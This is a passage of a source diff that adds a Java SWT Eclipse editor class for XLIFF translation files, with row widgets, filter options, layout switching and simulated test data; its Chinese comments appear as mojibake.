org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Slider; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.Widget; +import org.eclipse.ui.IEditorDescriptor; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IEditorSite; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.EditorPart; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * XLFEditor XLIFF 文件编辑器组件。(此类未使用,因此未åšå›½é™…化处ç†) + */ +public class XLFEditor extends EditorPart implements ISelectionProvider { + + private static final int ROWSOFPAGE = 30; + + private static final int STATUS_FLAG_HEIGHT = 6; + + private static final int STATUS_FLAG_WIDTH = 20; + + private static final int COLUMN_INDEX_WIDTH = 40; + + private static final int MINIMUM_ROW_HEIGHT = 25; + + /** 常é‡ï¼Œç¼–辑器ID。 */ + public static final String ID = "net.heartsome.cat.ts.ui.editors.XLFEditor"; + + /** 常é‡ï¼Œæ—¥å¿—记录器。 */ + private static final Logger LOGGER = LoggerFactory.getLogger(XLFEditor.class); + + /** + * 编辑æºæ–‡æœ¬çŠ¶æ€æ ‡è¯†ã€‚ å–值 true 表示å¯ä»¥ç¼–辑æºæ–‡æœ¬ï¼Œå–值 false 表示ä¸å¯ä»¥ç¼–辑æºæ–‡æœ¬ã€‚ + */ + public boolean canEditSource = false; + + /** + * 编辑器模å¼ã€‚ å–值 true 表示编辑模å¼ï¼Œå–值 false 表示选择模å¼ã€‚ + */ + public boolean isEditModel = false; + + /** + * 编辑器当å‰å¸ƒå±€æ¨¡å¼ã€‚ å–值 true 表示为水平布局模å¼ï¼Œä¸‰åˆ—表格布局。æºä¸Žç›®æ ‡ç»„件采用水平布局方å¼æ”¾ç½®ã€‚ å–值 false 表示为垂直布局模å¼ï¼ŒäºŒåˆ—表格布局。其中第二列å†é‡‡ç”¨åž‚直布局方å¼ï¼Œæ”¾ç½®æºä¸Žç›®æ ‡ç»„件。 + */ + public static boolean isHLayoutModel = true; + + // 编辑器左上角的选项å¡å›¾æ ‡ã€‚ + private Image titleImage; + + // 编辑器内部是å¦è¢«æ”¹å˜çŠ¶æ€æ ‡è¯†ç¬¦ã€‚ + private boolean isDirty; + + // 列首组件。 + private Label[] lblColumnHeader; + + // ç¼–è¾‘å™¨æ»šåŠ¨æ¡ + private Slider editorVBar; + + // 列头容器 + private Composite colHeaderComposite; + + private Combo cmbFilter; + + private Text txtIndex; + + // è¡Œç´¢å¼•ç»„ä»¶é›†åˆ + private Label[] lblRowIndexs; + + // è¡Œæ–‡æœ¬ç¼–è¾‘å™¨å®¹å™¨ç»„ä»¶é›†åˆ + private Composite[] txtComposites; + + // 行状æ€æ ‡è¯†ç»„ä»¶å®¹å™¨é›†åˆ + private Composite[] statusComposites; + + private Composite bottomComposite; + + // 布局é”。 + private boolean layoutLock; + + private ScrolledComposite oScrolledComposite; + + private static final int HEIGHT_SPACE = 3; + + private static final int WIDTH_SPACE = 3; + + private static final String DATAKEY_INDEX = "index"; + + private static final String DATAKEY_FOREGROUND = "FGColor"; + + private static final String DATAKEY_BACKGROUND = "BGColor"; + + private static Color selectedBgColor = null; + + private Composite[] tgtComposites = null; + + private Composite editorContentComposite; + + private MouseListener mouseListener; + + private KeyListener keyListener; + + private Cursor cursorArrow; + + private Cursor cursorIbeam; + + private ModifyListener textModifyListener; + + private MouseTrackListener mouseTrackListener; + + + private int lastSelectedIndex = -1; + + private Color selectedFgColor; + + @Override + public void doSave(IProgressMonitor monitor) { + // TODO Auto-generated method stub + + } + + @Override + public void doSaveAs() { + // TODO Auto-generated method stub + + } + + @Override + public void init(IEditorSite site, IEditorInput input) throws PartInitException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("init(IEditorSite site, IEditorInput input)"); + } + setSite(site); + setInput(input); + + // 设置Editor标题æ çš„显示å称,å¦åˆ™å称用plugin.xml中的name属性 + setPartName(input.getName()); + + Image oldTitleImage = titleImage; + if (input != null) { + IEditorRegistry editorRegistry = PlatformUI.getWorkbench().getEditorRegistry(); + IEditorDescriptor editorDesc = editorRegistry.findEditor(getSite().getId()); + ImageDescriptor imageDesc = editorDesc != null ? editorDesc.getImageDescriptor() : null; + titleImage = imageDesc != null ? imageDesc.createImage() : null; + } + + setTitleImage(titleImage); + if (oldTitleImage != null && !oldTitleImage.isDisposed()) { + oldTitleImage.dispose(); + } + + getSite().setSelectionProvider(this); + + cursorIbeam = new Cursor(null, SWT.CURSOR_IBEAM); + cursorArrow = new Cursor(null, SWT.CURSOR_ARROW); + + hookListener(); + } + + /** + * 获å–指定容器下的æºæ–‡æœ¬æ¡†å’Œç›®æ ‡æ–‡æœ¬æ¡†ç»„件。第一个为æºæ–‡æœ¬æ¡†ï¼Œç¬¬äºŒä¸ªä¸ºç›®æ ‡æ–‡æœ¬æ¡†ã€‚ + * @param parent + * æ¯è¡Œçš„ txtComposite + * @return ; + */ + private StyledText[] getTextWidgets(Composite parent) { + StyledText[] sts = new StyledText[2]; + Control[] ctrls = parent.getChildren(); + for (Control ctrl : ctrls) { + if (ctrl instanceof StyledText) { + sts[0] = (StyledText) ctrl; + } + + if (ctrl instanceof Composite) { + Control[] children = ((Composite) ctrl).getChildren(); + for (Control child : children) { + if (child instanceof StyledText) { + sts[1] = (StyledText) child; + + return sts; + } + } + } + } + + return sts; + } + + /** + * 设置选中行的颜色,并还原上一行的颜色。 + */ + private void setSelectionRowColor(int inx) { + // é‡ç½®ä¸Šä¸€è¡Œçš„颜色 + if (lastSelectedIndex >= 0 && lastSelectedIndex < txtComposites.length) { + Color tmpColor = null; + Object tmpObj = lblRowIndexs[lastSelectedIndex].getData(DATAKEY_BACKGROUND); + if (tmpObj != null) { + tmpColor = (Color) tmpObj; + } + lblRowIndexs[lastSelectedIndex].setBackground(tmpColor); + tmpObj = lblRowIndexs[lastSelectedIndex].getData(DATAKEY_FOREGROUND); + if (tmpObj != null) { + tmpColor = (Color) tmpObj; + } + lblRowIndexs[lastSelectedIndex].setForeground(tmpColor); + + StyledText[] texts = getTextWidgets(txtComposites[lastSelectedIndex]); + tmpObj = texts[0].getData(DATAKEY_FOREGROUND); + if (tmpObj != null) { + tmpColor = (Color) tmpObj; + } + texts[0].setForeground(tmpColor); + tmpObj = texts[0].getData(DATAKEY_BACKGROUND); + if (tmpObj != null) { + tmpColor = (Color) tmpObj; + } + texts[0].setBackground(tmpColor); + + tmpObj = texts[1].getData(DATAKEY_FOREGROUND); + if (tmpObj != null) { + tmpColor = (Color) tmpObj; + } + texts[1].setForeground(tmpColor); + tmpObj = texts[1].getData(DATAKEY_BACKGROUND); + if (tmpObj != null) { + tmpColor = (Color) tmpObj; + } + texts[1].setBackground(tmpColor); + } + + // 设置选中的当å‰è¡Œé¢œè‰² + if (inx >= 0 && inx < txtComposites.length) { + + Color tmpColor = lblRowIndexs[inx].getBackground(); + lblRowIndexs[inx].setData(DATAKEY_BACKGROUND, tmpColor); + lblRowIndexs[inx].setBackground(selectedBgColor); + tmpColor = lblRowIndexs[inx].getForeground(); + lblRowIndexs[inx].setData(DATAKEY_FOREGROUND, tmpColor); + lblRowIndexs[inx].setForeground(selectedFgColor); + + StyledText[] texts = getTextWidgets(txtComposites[inx]); + tmpColor = texts[0].getForeground(); + texts[0].setData(DATAKEY_FOREGROUND, tmpColor); + texts[0].setForeground(selectedFgColor); + + tmpColor = texts[0].getBackground(); + texts[0].setData(DATAKEY_BACKGROUND, tmpColor); + texts[0].setBackground(selectedBgColor); + + tmpColor = texts[1].getForeground(); + texts[1].setData(DATAKEY_FOREGROUND, tmpColor); + texts[1].setForeground(selectedFgColor); + + tmpColor = texts[1].getBackground(); + texts[1].setData(DATAKEY_BACKGROUND, tmpColor); + texts[1].setBackground(selectedBgColor); + + lastSelectedIndex = inx; + } + } + + /** + * åˆå§‹åŒ–监å¬å™¨ã€‚ + */ + private void hookListener() { + + // 添加文本修改监å¬å™¨ï¼Œç”¨äºŽè°ƒæ•´æ–‡æœ¬æ¡†å¤§å°ï¼Œä½¿å…¶é«˜åº¦è‡ªé€‚应文本内容。 + textModifyListener = new ModifyListener() { + + public void modifyText(ModifyEvent e) { + StyledText st = (StyledText) e.widget; + GridData gd = (GridData) st.getLayoutData(); + if (gd == null) { + gd = new GridData(GridData.FILL_BOTH); + } + Point computeSize = st.computeSize(st.getSize().x, SWT.DEFAULT, false); + + // 此行代ç æ˜¯ä¸ºäº†ä¿æŒåˆ—宽ä¸å˜ã€‚å‡ 10 是因为 computeSize åŽå®½åº¦æ¯æ¬¡ä¼šå¢žåŠ  5 个åƒç´ ï¼Œ + // 因此需è¦å‡åŽ»ä¸Šæ¬¡å’Œæœ¬æ¬¡å¢žåŠ çš„å…±10åƒç´ ã€‚为什么会这样原因ä¸æ˜Žã€‚ + gd.widthHint = computeSize.x - 10; + st.setLayoutData(gd); + editorContentComposite.layout(); + oScrolledComposite.setMinSize(editorContentComposite.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + } + }; + + // 添加鼠标跟踪监å¬å™¨ï¼Œç”¨äºŽç›‘å¬é¼ æ ‡ä½ç½®ï¼Œæ ¹æ®ç¼–辑器模å¼åˆ‡æ¢å…‰æ ‡æ ·å¼ã€‚ + mouseTrackListener = new MouseTrackListener() { + + private void setArrowCursor(MouseEvent arg0) { + Widget srcWidget = arg0.widget; + + if (isEditModel && srcWidget instanceof StyledText) { + ((StyledText) srcWidget).setCursor(cursorIbeam); + } else { + ((StyledText) srcWidget).setCursor(cursorArrow); + } + } + + public void mouseEnter(MouseEvent arg0) { + setArrowCursor(arg0); + } + + public void mouseExit(MouseEvent arg0) { + setArrowCursor(arg0); + } + + public void mouseHover(MouseEvent arg0) { + setArrowCursor(arg0); + } + + }; + + mouseListener = new MouseListener() { + + public void mouseDoubleClick(MouseEvent arg0) { + // 切æ¢ä¸ºç¼–è¾‘æ¨¡å¼ + isEditModel = true; + System.out.println("It's running edit model."); + Control ctrl = arg0.display.getCursorControl(); + ctrl.setCursor(cursorIbeam); + } + + public void mouseDown(MouseEvent arg0) { + int inx = (Integer) arg0.widget.getData(DATAKEY_INDEX); + setSelectionRowColor(inx); + + // 选中模å¼ä¸‹è¦éšè—光标。 + if (!isEditModel) { + // 通过为容器组件设置焦点,实现在选中模å¼æ—¶éšè—文本框组件中闪çƒçš„光标 + txtComposites[inx].forceFocus(); + } + } + + public void mouseUp(MouseEvent arg0) { + + } + + }; + + keyListener = new KeyListener() { + + public void keyPressed(KeyEvent arg0) { + // 按 Esc 键切æ¢åˆ°é€‰æ‹©æ¨¡å¼ã€‚ + if (arg0.keyCode == SWT.ESC) { + isEditModel = false; + Control ctrl = arg0.display.getCursorControl(); + ctrl.setCursor(cursorArrow); + } + + } + + public void keyReleased(KeyEvent arg0) { + } + + }; + } + + @Override + public boolean isDirty() { + return isDirty; + } + + @Override + public boolean isSaveAsAllowed() { + return false; + } + + /** + * åˆå§‹åŒ–过滤器æ¡ä»¶ + */ + private void initFilterData() { + // ä»¥ä¸‹æ˜¯æ¨¡æ‹Ÿæ•°æ® + cmbFilter.add("所有文本段"); + cmbFilter.add("未翻译文本段"); + cmbFilter.add("已翻译文本段"); + cmbFilter.add("未批准文本段"); + cmbFilter.add("已批准文本段"); + cmbFilter.add("有批注文本段"); + cmbFilter.add("é”定文本段"); + cmbFilter.add("未é”定文本段"); + cmbFilter.add("é‡å¤æ–‡æœ¬æ®µ"); + cmbFilter.add("疑问文本段"); + cmbFilter.add("上下文匹é…文本段"); + cmbFilter.add("完全匹é…文本段"); + cmbFilter.add("模糊匹é…文本段"); + cmbFilter.add("快速翻译文本段"); + cmbFilter.add("自动ç¹æ®–文本段"); + cmbFilter.add("错误标记文本段"); + cmbFilter.add("术语ä¸ä¸€è‡´æ–‡æœ¬æ®µ"); + cmbFilter.add("译文ä¸ä¸€è‡´æ–‡æœ¬æ®µ"); + cmbFilter.add("带修订标记文本段"); + + // TODO æ ¹æ®é¦–选项设置,按指定顺åºåŠ è½½è¦ç”¨çš„过滤器列表。 + } + + /** + * 创建编辑器顶部过滤器和定ä½å™¨éƒ¨åˆ† + */ + private void createFilterPart(Composite parent) { + Composite topComposite = new Composite(parent, SWT.NONE); + GridLayout glTop = new GridLayout(3, false); + glTop.marginHeight = HEIGHT_SPACE; + glTop.marginWidth = WIDTH_SPACE; + glTop.horizontalSpacing = HEIGHT_SPACE; + glTop.verticalSpacing = WIDTH_SPACE; + topComposite.setLayout(glTop); + topComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + txtIndex = new Text(topComposite, SWT.BORDER); + txtIndex.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_TITLE_INACTIVE_FOREGROUND)); + txtIndex.setText(" 请输入行å·è¿›è¡Œå®šä½ "); + + cmbFilter = new Combo(topComposite, SWT.BORDER); + cmbFilter.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + // TODO 完善过滤器数æ®åˆå§‹åŒ–方法 + initFilterData(); + + // 过滤器管ç†å™¨æŒ‰é’® + Button btnFilterManager = new Button(topComposite, SWT.BORDER); + btnFilterManager.setText(" + "); // TODO 考虑æ¢å›¾ç‰‡ + + // 暂时使用该按钮æ¥åˆ‡æ¢è¡¨æ ¼å¸ƒå±€ã€‚ + btnFilterManager.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent arg0) { + // TODO Auto-generated method stub + + } + + public void widgetSelected(SelectionEvent arg0) { + layout(); + } + + }); + + topComposite.layout(); + } + + /** + * 创建编辑器组件。 + */ + private void createEditorPart(Composite parent) { + bottomComposite = new Composite(parent, SWT.BORDER); + GridLayout glBottomCmp = new GridLayout(2, false); + glBottomCmp.marginHeight = HEIGHT_SPACE; + glBottomCmp.marginWidth = WIDTH_SPACE; + glBottomCmp.horizontalSpacing = 0; + glBottomCmp.verticalSpacing = 0; + bottomComposite.setLayout(glBottomCmp); + bottomComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + + // 左上方,第一行,第一列,å³è¡¨å¤´å®¹å™¨ + colHeaderComposite = new Composite(bottomComposite, SWT.NONE); + colHeaderComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + createTableHeader(colHeaderComposite); + + // å³æ–¹ï¼Œç¬¬äºŒåˆ—,å ä¸¤è¡Œã€‚ + editorVBar = new Slider(bottomComposite, SWT.V_SCROLL | SWT.BORDER); + GridData gdVBar = new GridData(GridData.FILL_VERTICAL); + gdVBar.verticalSpan = 2; // åˆå¹¶ä¸¤è¡Œï¼Œä½¿ä¹‹å æ»¡æ•´ä¸ªè‡ªå®šä¹‰è¡¨æ ¼ä½ç½®ã€‚ + editorVBar.setLayoutData(gdVBar); + + // 左下方,第二行,第一列,编辑器容器 + oScrolledComposite = new ScrolledComposite(bottomComposite, SWT.H_SCROLL); + GridLayout glScrolledComposite = new GridLayout(1, false); + glScrolledComposite.horizontalSpacing = 0; + glScrolledComposite.verticalSpacing = 0; + glScrolledComposite.marginHeight = 0; + glScrolledComposite.marginWidth = 0; + oScrolledComposite.setLayout(glScrolledComposite); + oScrolledComposite.setExpandHorizontal(true); + oScrolledComposite.setExpandVertical(true); + oScrolledComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + + editorContentComposite = new Composite(oScrolledComposite, SWT.NONE); + GridLayout glEditorContentComposite = new GridLayout(1, true); + glEditorContentComposite.horizontalSpacing = 0; + glEditorContentComposite.verticalSpacing = 0; + glEditorContentComposite.marginHeight = 0; + glEditorContentComposite.marginWidth = 0; + editorContentComposite.setLayout(glEditorContentComposite); + editorContentComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + + oScrolledComposite.setContent(editorContentComposite); + + // TODO 需æ¢æˆçœŸå®žæ•°æ® + // åˆå§‹åŒ–编辑器中表格行组件。 + txtComposites = new Composite[ROWSOFPAGE]; + tgtComposites = new Composite[ROWSOFPAGE]; + statusComposites = new Composite[ROWSOFPAGE]; + lblRowIndexs = new Label[ROWSOFPAGE]; + + for (int i = 0; i < ROWSOFPAGE; i++) { + Composite rowComposite = new Composite(editorContentComposite, SWT.NONE); + GridLayout glRowCmp = new GridLayout(2, false); + glRowCmp.marginHeight = 0; + glRowCmp.marginWidth = 0; + glRowCmp.horizontalSpacing = 0; + glRowCmp.verticalSpacing = 0; + rowComposite.setLayout(glRowCmp); + rowComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + lblRowIndexs[i] = new Label(rowComposite, SWT.BORDER); + lblRowIndexs[i].setAlignment(SWT.CENTER); + lblRowIndexs[i].setText(String.valueOf(i + 1)); + GridData gdIndex = new GridData(GridData.FILL_VERTICAL); + gdIndex.widthHint = COLUMN_INDEX_WIDTH; + + lblRowIndexs[i].setLayoutData(gdIndex); + txtComposites[i] = new Composite(rowComposite, SWT.NONE); + + StyledText stSrc = new StyledText(txtComposites[i], SWT.MULTI | SWT.WRAP | SWT.READ_ONLY | SWT.BORDER); + stSrc.setCursor(cursorArrow); + stSrc.setData(DATAKEY_INDEX, i); + + stSrc.setText("This is a test." + (i + 1)); + GridData gdStSrc = new GridData(GridData.FILL_BOTH); + gdStSrc.minimumHeight = MINIMUM_ROW_HEIGHT; + gdStSrc.grabExcessVerticalSpace = true; + stSrc.setLayoutData(gdStSrc); + stSrc.addModifyListener(textModifyListener); + stSrc.addMouseListener(mouseListener); + stSrc.addKeyListener(keyListener); + stSrc.addMouseTrackListener(mouseTrackListener); + stSrc.setCaretOffset(-1); + + tgtComposites[i] = new Composite(txtComposites[i], SWT.NONE); + statusComposites[i] = new Composite(tgtComposites[i], SWT.NONE); + Label lblApprovedStatus = new Label(statusComposites[i], SWT.NONE); + lblApprovedStatus.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_RED)); + lblApprovedStatus.setToolTipText("翻译å•å…ƒå®¡æ‰¹çŠ¶æ€ï¼šå·²æ‰¹å‡†"); + lblApprovedStatus.setLayoutData(new GridData(STATUS_FLAG_WIDTH, STATUS_FLAG_HEIGHT)); + + Label lblTranslatableStatus = new Label(statusComposites[i], SWT.NONE); + lblTranslatableStatus.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_BLUE)); + lblTranslatableStatus.setToolTipText("翻译å•å…ƒå¯è¯‘状æ€ï¼šå¯è¯‘"); + lblTranslatableStatus.setLayoutData(new GridData(STATUS_FLAG_WIDTH, STATUS_FLAG_HEIGHT)); + + Label lblTranslationStatus = new Label(statusComposites[i], SWT.NONE); + lblTranslationStatus.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_CYAN)); + lblTranslationStatus.setToolTipText("目标文本段状æ€ï¼šå·²ç¿»è¯‘"); + lblTranslationStatus.setLayoutData(new GridData(STATUS_FLAG_WIDTH, STATUS_FLAG_HEIGHT)); + + StyledText stTgt = new StyledText(tgtComposites[i], SWT.MULTI | SWT.WRAP | SWT.BORDER); + stTgt.setCursor(cursorArrow); + stTgt.setData(DATAKEY_INDEX, i); + + GridData gdStTgt = new GridData(GridData.FILL_BOTH); + gdStTgt.minimumHeight = MINIMUM_ROW_HEIGHT; + gdStTgt.grabExcessVerticalSpace = true; + stTgt.setLayoutData(gdStTgt); + stTgt.addModifyListener(textModifyListener); + stTgt.addMouseListener(mouseListener); + stTgt.addKeyListener(keyListener); + stTgt.addMouseTrackListener(mouseTrackListener); + stTgt.setCaretOffset(-1); + + } + + // 模拟的编辑器数æ®æ¨¡åž‹ + final List models = getModel(1000); + + editorVBar.setIncrement(1); + editorVBar.setPageIncrement(ROWSOFPAGE); + editorVBar.setMaximum(models.size()); + editorVBar.setMinimum(1); + editorVBar.setThumb(ROWSOFPAGE); + + editorVBar.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + int y = editorVBar.getSelection(); + System.out.println("current y value:" + y); + System.out.println("thumb value:" + editorVBar.getThumb()); + refreshContent(models, editorVBar.getSelection()); + } + }); + + // åˆå§‹åŒ–ç•Œé¢ UI 的显示内容 + // refreshContent(models, 1); + + // 设置编辑器组件布局 + setEditorLayout(); + } + + /** + * æ ¹æ®ç”¨æˆ·æ‹–动滚动æ¡çš„ä½ç½®ï¼Œæ›´æ–°ç•Œé¢ UI 的显示内容 + * @param selection + * 滚动æ¡çš„ä½ç½®ï¼Œå³ç•Œé¢ UI 最顶层显示的 model 索引 ; + */ + protected void refreshContent(List models, int selection) { + for (int i = 0; i < ROWSOFPAGE; i++) { + // model 的索引从 0 开始,滚动æ¡çš„最å°å€¼ä»Ž 1 开始 + SimpleModel model = models.get(selection + i - 1); + // è®¾ç½®ç¼–å· + lblRowIndexs[i].setText(model.getId()); + // 设置æºæ–‡æœ¬ + Control[] children = txtComposites[i].getChildren(); + for (int j = 0; j < children.length; j++) { + if (children[j] instanceof StyledText) { + ((StyledText) children[j]).setText(model.getSrcText()); + break; + } + } +// txtComposites[i].layout(); + // 设置目标文本 + children = tgtComposites[i].getChildren(); + for (int j = 0; j < children.length; j++) { + if (children[j] instanceof StyledText) { + ((StyledText) children[j]).setText(model.targetText); + break; + } + } +// tgtComposites[i].layout(); + } + } + + /** + * 编辑器é‡æ–°å¸ƒå±€ã€‚ + */ + protected synchronized void layout() { + if (layoutLock) { + return; + } + layoutLock = true; + + isHLayoutModel = !isHLayoutModel; + createTableHeader(colHeaderComposite); + setEditorLayout(); + + layoutLock = false; + } + + /** + * 设置编辑器布局。在水平布局和垂直布局中切æ¢ã€‚ + */ + private void setEditorLayout() { + if (isHLayoutModel) { + GridLayout glTxtCmp = new GridLayout(2, true); + glTxtCmp.marginHeight = 0; + glTxtCmp.marginWidth = 0; + glTxtCmp.verticalSpacing = 0; + glTxtCmp.horizontalSpacing = 0; + + GridLayout glTgtComposite = new GridLayout(2, false); + glTgtComposite.horizontalSpacing = 0; + glTgtComposite.verticalSpacing = 0; + glTgtComposite.marginHeight = 0; + glTgtComposite.marginWidth = 0; + + GridLayout glStatusCmp = new GridLayout(1, true); + glStatusCmp.marginHeight = 0; + glStatusCmp.marginWidth = 0; + glStatusCmp.horizontalSpacing = 0; + glStatusCmp.verticalSpacing = 0; + for (int i = 0; i < ROWSOFPAGE; i++) { + txtComposites[i].setLayout(glTxtCmp); + GridData gdCmpTxt = new GridData(GridData.FILL_HORIZONTAL); + gdCmpTxt.minimumHeight = MINIMUM_ROW_HEIGHT; + gdCmpTxt.grabExcessVerticalSpace = true; + txtComposites[i].setLayoutData(gdCmpTxt); + + tgtComposites[i].setLayout(glTgtComposite); + GridData gdCmpTgt = new GridData(GridData.FILL_BOTH); + gdCmpTgt.minimumHeight = MINIMUM_ROW_HEIGHT; + gdCmpTgt.grabExcessVerticalSpace = true; + tgtComposites[i].setLayoutData(gdCmpTgt); + + statusComposites[i].setLayout(glStatusCmp); + statusComposites[i].setLayoutData(new GridData(GridData.FILL_VERTICAL)); + } + } else { + GridLayout glTxtCmp = new GridLayout(1, true); + glTxtCmp.marginHeight = 0; + glTxtCmp.marginWidth = 0; + glTxtCmp.verticalSpacing = 0; + glTxtCmp.horizontalSpacing = 0; + + GridLayout glTgtComposite = new GridLayout(1, false); + glTgtComposite.horizontalSpacing = 0; + glTgtComposite.verticalSpacing = 0; + glTgtComposite.marginHeight = 0; + glTgtComposite.marginWidth = 0; + + GridLayout glStatusCmp = new GridLayout(3, true); + glStatusCmp.marginHeight = 0; + glStatusCmp.marginWidth = 0; + glStatusCmp.horizontalSpacing = 0; + glStatusCmp.verticalSpacing = 0; + for (int i = 0; i < ROWSOFPAGE; i++) { + txtComposites[i].setLayout(glTxtCmp); + + GridData gdCmpTxt = new GridData(GridData.FILL_HORIZONTAL); + gdCmpTxt.minimumHeight = MINIMUM_ROW_HEIGHT; + gdCmpTxt.grabExcessVerticalSpace = true; + txtComposites[i].setLayoutData(gdCmpTxt); + + tgtComposites[i].setLayout(glTgtComposite); + tgtComposites[i].setLayoutData(new GridData(GridData.FILL_BOTH)); + + statusComposites[i].setLayout(glStatusCmp); + statusComposites[i].setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + } + } + editorContentComposite.layout(); + } + + /** + * 创建编辑器表头组件。 + * @param parent + * 列头容器。 + */ + private void createTableHeader(Composite parent) { + // parent.setBackground(blue); + if (parent != null) { + Control[] headerControls = parent.getChildren(); + if (headerControls != null) { + for (Control widget : headerControls) { + if (widget != null && !widget.isDisposed()) { + widget.dispose(); + widget = null; + } + } + } + } + + if (lblColumnHeader != null) { + lblColumnHeader = null; + } + + GridLayout glParent = new GridLayout(2, false); + glParent.horizontalSpacing = 0; + glParent.verticalSpacing = 0; + glParent.marginHeight = 0; + glParent.marginWidth = 0; + parent.setLayout(glParent); + + if (isHLayoutModel) { + lblColumnHeader = new Label[3]; + GridData[] gdColHeader = new GridData[3]; + gdColHeader[0] = new GridData(); + gdColHeader[0].widthHint = COLUMN_INDEX_WIDTH; + gdColHeader[0].heightHint = MINIMUM_ROW_HEIGHT; + gdColHeader[0].grabExcessHorizontalSpace = false; + gdColHeader[0].grabExcessVerticalSpace = true; + + lblColumnHeader[0] = new Label(colHeaderComposite, SWT.BORDER); + lblColumnHeader[0].setText("ç¼–å·"); + lblColumnHeader[0].setLayoutData(gdColHeader[0]); + lblColumnHeader[0].setAlignment(SWT.CENTER); + + Composite rightCompoiste = new Composite(colHeaderComposite, SWT.NONE); + GridLayout glRightComposite = new GridLayout(2, true); + glRightComposite.horizontalSpacing = 0; + glRightComposite.verticalSpacing = 0; + glRightComposite.marginHeight = 0; + glRightComposite.marginWidth = 0; + rightCompoiste.setLayout(glRightComposite); + rightCompoiste.setLayoutData(new GridData(GridData.FILL_BOTH)); + + gdColHeader[1] = new GridData(GridData.FILL_HORIZONTAL); + gdColHeader[1].heightHint = MINIMUM_ROW_HEIGHT; + lblColumnHeader[1] = new Label(rightCompoiste, SWT.BORDER); + lblColumnHeader[1].setText("æºè¯­è¨€"); + lblColumnHeader[1].setLayoutData(gdColHeader[1]); + lblColumnHeader[1].setAlignment(SWT.CENTER); + gdColHeader[2] = new GridData(GridData.FILL_HORIZONTAL); + gdColHeader[2].heightHint = MINIMUM_ROW_HEIGHT; + lblColumnHeader[2] = new Label(rightCompoiste, SWT.BORDER); + lblColumnHeader[2].setText("目标语言"); + lblColumnHeader[2].setLayoutData(gdColHeader[2]); + lblColumnHeader[2].setAlignment(SWT.CENTER); + } else { + lblColumnHeader = new Label[2]; + GridData[] gdColHeader = new GridData[2]; + gdColHeader[0] = new GridData(); + gdColHeader[0].widthHint = COLUMN_INDEX_WIDTH; + gdColHeader[0].heightHint = MINIMUM_ROW_HEIGHT; + + lblColumnHeader[0] = new Label(colHeaderComposite, SWT.BORDER); + lblColumnHeader[0].setText("ç¼–å·"); + lblColumnHeader[0].setAlignment(SWT.CENTER); + lblColumnHeader[0].setLayoutData(gdColHeader[0]); + + gdColHeader[1] = new GridData(GridData.FILL_BOTH); + gdColHeader[1].heightHint = MINIMUM_ROW_HEIGHT; + lblColumnHeader[1] = new Label(colHeaderComposite, SWT.BORDER); + lblColumnHeader[1].setText("æºè¯­è¨€ --> 目标语言"); + lblColumnHeader[1].setLayoutData(gdColHeader[1]); + lblColumnHeader[1].setAlignment(SWT.CENTER); + } + parent.layout(); + } + + @Override + public void createPartControl(Composite parent) { + initColors(parent); + + GridLayout glParent = new GridLayout(1, false); + glParent.horizontalSpacing = 0; + glParent.verticalSpacing = 0; + glParent.marginHeight = 0; + glParent.marginWidth = 0; + parent.setLayout(glParent); + GridData gdParent = new GridData(GridData.FILL_BOTH); + gdParent.grabExcessVerticalSpace = true; + gdParent.grabExcessHorizontalSpace = true; + parent.setLayoutData(gdParent); + + createFilterPart(parent); + createEditorPart(parent); + parent.layout(); + } + + /** åˆå§‹åŒ–测试用颜色 */ + private void initColors(Composite parent) { + selectedBgColor = parent.getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION); + selectedFgColor = parent.getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT); + } + + @Override + public void setFocus() { + // TODO Auto-generated method stub + + } + + public void addSelectionChangedListener(ISelectionChangedListener listener) { + // TODO Auto-generated method stub + + } + + public ISelection getSelection() { + // TODO Auto-generated method stub + return null; + } + + public void removeSelectionChangedListener(ISelectionChangedListener listener) { + // TODO Auto-generated method stub + + } + + public void setSelection(ISelection selection) { + // TODO Auto-generated method stub + + } + + /** + * 返回模拟的数æ®æ¨¡åž‹åˆ—表 + * @param size + * åˆå§‹åŒ–列表大å°ï¼Œå¦‚果为负,则返回空列表 + * @return ; + */ + private List getModel(int size) { + List result = new ArrayList(); + for (int i = 0; i < size; i++) { + String id = String.valueOf(i + 1); + result + .add(new SimpleModel( + id, + "The " + id + " source text.", + "The " + + id + + " target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target text.target 